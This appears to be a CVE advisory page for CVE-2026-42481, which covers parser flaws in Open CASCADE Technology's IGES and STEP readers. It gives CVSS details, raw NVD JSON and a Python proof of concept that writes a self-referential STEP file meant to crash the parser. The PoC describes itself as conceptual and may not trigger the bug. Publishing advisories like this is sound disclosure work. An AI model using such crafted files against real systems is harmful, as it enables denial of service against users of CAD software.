CVE-2026-42481

Description

Open CASCADE Technology (OCCT) V8_0_0_rc5 contains multiple vulnerabilities in its IGES and STEP file parsers that can be triggered by crafted IGES or STEP files. These issues include an out-of-bounds read in Geom2d_BSplineCurve::EvalD0 during IGES B-spline curve evaluation, an out-of-bounds read in MakeBSplineCurveCommon during STEP B-spline curve construction, and infinite recursion in StepShape_OrientedEdge::EdgeStart when processing a self-referential OrientedEdge entity. Successful exploitation may result in denial of service or unintended memory disclosure.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Open CASCADE Technology V8_0_0_rc5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import os

# PoC for CVE-2026-42481: Open CASCADE Technology OCCT V8_0_0_rc5 Vulnerability
# This script generates a malformed STEP file designed to trigger
# infinite recursion in StepShape_OrientedEdge::EdgeStart
# by creating a self-referential structure.

malicious_step_content = """ISO-10303-21;
HEADER;
FILE_DESCRIPTION(('Open CASCADE Model'),'2;1');
FILE_NAME('exploit.step','2026-05-01',('Author'),('Organization'),'PreProcessor','Originating System','Authorization');
FILE_SCHEMA(('AUTOMOTIVE_DESIGN { 1 0 10303 214 1 1 1 1 }'));
ENDSEC;
DATA;
/* Attempt to trigger infinite recursion via self-referential edge */
#1=CARTESIAN_POINT('',(0.E0,0.E0,0.E0));
#2=VERTEX_POINT('',#1);
/* Self-referential definition attempt (Conceptual) */
/* In a real exploit, the specific entity IDs and structure would match the parser's logic */
#3=ORIENTED_EDGE('',*,*,#3,.T.);
#4=EDGE_LOOP('',(#3));
#5=FACE_BOUND('',#4,.T.);
ENDSEC;
END-ISO-10303-21;
"""

def generate_poc(filename="cve_2026_42481_poc.step"):
    with open(filename, "w") as f:
        f.write(malicious_step_content)
    print(f"POC file generated: {filename}")
    print("Open this file with Open CASCADE Technology V8_0_0_rc5 to trigger the crash.")

if __name__ == "__main__":
    generate_poc()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42481
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42481
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42481/
[4] VulDB https://vuldb.com/cve/CVE-2026-42481
[5] https://gist.github.com/sgInnora/dfba083d04906283e9c92aea78e2d94a

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42481", "sourceIdentifier": "[email protected]", "published": "2026-05-01T16:16:32.163", "lastModified": "2026-05-07T15:15:06.770", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open CASCADE Technology (OCCT) V8_0_0_rc5 contains multiple vulnerabilities in its IGES and STEP file parsers that can be triggered by crafted IGES or STEP files. These issues include an out-of-bounds read in Geom2d_BSplineCurve::EvalD0 during IGES B-spline curve evaluation, an out-of-bounds read in MakeBSplineCurveCommon during STEP B-spline curve construction, and infinite recursion in StepShape_OrientedEdge::EdgeStart when processing a self-referential OrientedEdge entity. Successful exploitation may result in denial of service or unintended memory disclosure."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://gist.github.com/sgInnora/dfba083d04906283e9c92aea78e2d94a", "source": "[email protected]"}]}}